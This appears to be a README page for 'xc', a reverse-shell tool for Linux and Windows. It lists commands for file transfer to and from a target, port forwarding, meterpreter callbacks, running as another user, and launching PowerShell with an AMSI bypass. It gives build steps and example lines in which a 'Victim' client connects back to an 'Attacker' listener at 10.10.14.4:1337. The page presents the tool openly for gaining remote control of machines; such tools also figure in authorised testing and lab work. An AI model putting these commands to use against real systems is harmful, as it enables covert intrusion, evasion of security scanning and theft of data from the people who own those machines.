xc: small reverse shell for Linux & Windows

XC

Netcat like a reverse shell for Linux & Windows.

Features

Windows

Usage:
└ Shared Commands: !exit
!upload <src> <dst>
* uploads a file to the target
!download <src> <dst>
* downloads a file from the target
!lfwd <localport> <remoteaddr> <remoteport>
* local portforwarding (like ssh -L)
!rfwd <remoteport> <localaddr> <localport>
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd <index>
* removes forward by index
!plugins
* lists available plugins
!plugin <plugin>
* execute a plugin
!spawn <port>
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas <username> <password> <domain>
* restart xc with the specified user
!met <port>
* connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
!powershell
* starts powershell with AMSI Bypass
!rc <port>
* connects to a local bind shell and restarts this client over it
!runasps <username> <password> <domain>
* restart xc with the specified user using powershell
!vulns
* checks for common vulnerabilities

Linux

Usage:
└ Shared Commands: !exit
!upload <src> <dst>
* uploads a file to the target
!download <src> <dst>
* downloads a file from the target
!lfwd <localport> <remoteaddr> <remoteport>
* local portforwarding (like ssh -L)
!rfwd <remoteport> <localaddr> <localport>
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd <index>
* removes forward by index
!plugins
* lists available plugins
!plugin <plugin>
* execute a plugin
!spawn <port>
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas <username> <password> <domain>
* restart xc with the specified user
!met <port>
* connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
!ssh <port>
* starts sshd with the configured keys on the specified port

Install

Make sure you are running golang version 1.15+, older versions will not compile.

git clone –recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/…
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

python3 build.py

Examples

• Linux Attacker: rlwrap xc -l -p 1337 (Server)
• WindowsVictim : xc.exe 10.10.14.4 1337 (Client)
• Argumentless: xc_10.10.14.4_1337.exe (Client)

Known Issues

• When !lfwd fails due to lack of permissions (missing sudo), the entry in !lsfwd is still created
• Can’t Ctrl+C out of powershell started from !shell
• !net (execute-assembly) fails after using it a few times – for now you can !restart and it might work again
• Tested:
  • Kali (Attacker) Win 10 (Victim)

Source: https://github.com/xct/